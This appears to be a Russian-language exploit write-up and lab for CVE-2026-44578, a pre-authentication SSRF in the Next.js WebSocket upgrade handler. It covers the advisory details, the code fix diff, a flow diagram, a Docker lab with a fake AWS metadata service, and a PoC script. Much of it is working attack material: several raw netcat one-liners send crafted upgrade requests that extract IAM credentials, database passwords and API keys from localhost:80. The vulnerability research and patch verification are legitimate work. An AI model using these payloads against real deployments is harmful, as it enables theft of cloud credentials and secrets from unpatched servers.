
CVE-2026-44578: SSRF при обновлении WebSocket в Next.js — кража учетных данных до аутентификации через localhost:80. Лабораторная работа + эксплойт + аудит.
Подделка серверного запроса (SSRF) до аутентификации в самостоятельно размещённых развёртываниях Next.js.
Один специально сформированный HTTP-запрос извлекает учётные данные AWS, секреты и данные внутренних сервисов с localhost:80.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Тип | SSRF (CWE-918) |
| Затронутые версии | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (только самостоятельное размещение) |
| Исправлено в | 15.5.16, 16.2.5 |
| Требуется аутентификация | Нет |
| Взаимодействие пользователя | Нет |
Обработчик обновления WebSocket в router-server.ts вызывает proxyRequest() всякий раз, когда parsedUrl.protocol истинно — без проверки флагов завершения маршрутизации finished и statusCode, которые всегда применялись в HTTP-обработчике.
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
После того как normalizeRepeatedSlashes сворачивает http:/// в http:/, имя хоста становится null, и http-proxy подключается к localhost:80 с правильным путём. Любой совместно размещённый сервис (облачные метаданные, панели администратора, внутренние API) становится доступен.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlне может отправлять URI в абсолютной форме. Используйте сырой TCP:nc,ncat,socatили сокеты Python.
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
Это запускает 5 контейнеров:
| Контейнер | Роль | Открытый порт |
|---|---|---|
nextjs-vuln | Next.js 15.5.15 (уязвимый) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (исправленный) | localhost:3001 |
imds-sidecar-vuln | Фальшивый AWS IMDSv1, разделяющий сеть с уязвимым | localhost:80 (с точки зрения уязвимого) |
imds-sidecar-fixed | Фальшивый AWS IMDSv1, разделяющий сеть с исправленным | localhost:80 (с точки зрения исправленного) |
internal-api | Макет внутреннего сервиса | — |
Боковые контейнеры IMDS используют network_mode: "service:nextjs-*", поэтому фальшивый сервис метаданных находится на localhost:80 внутри контейнера Next.js — моделируя реальный облачный экземпляр.
# Полный набор тестов (7 SSRF-зондов)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Извлечение единичных учётных данных
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Подтверждение, что исправленный экземпляр блокирует запрос
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
Все контейнеры запущены — уязвимая версия (15.5.15) на :3000, исправленная (15.5.16) на :3001, боковые контейнеры IMDS разделяют пространства имён сети.
Один запрос возвращает полный каталог метаданных EC2 (ami-id, instance-id, iam/, placement/ и т.д.)
Полный набор учётных данных IAM: AccessKeyId, SecretAccessKey, Token и Expiration.
Сценарий начальной загрузки пользовательских данных EC2, содержащий DB_PASSWORD и API_KEY.
Идентификатор экземпляра, извлечённый через тот же SSRF-вектор.
Тот же пейлоад против Next.js 15.5.16. Соединение закрыто немедленно — данные не возвращены.
Логи фальшивого IMDS показывают GET-запросы, поступающие с 127.0.0.1 (процесс Next.js), что доказывает, что SSRF выполняется на стороне сервера.
Все 7 SSRF-тестов возвращают конфиденциальные данные на уязвимом экземпляре.
Все 7 тестов заблокированы на исправленном экземпляре. Исправление подтверждено.
# 1. Список категорий метаданных
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000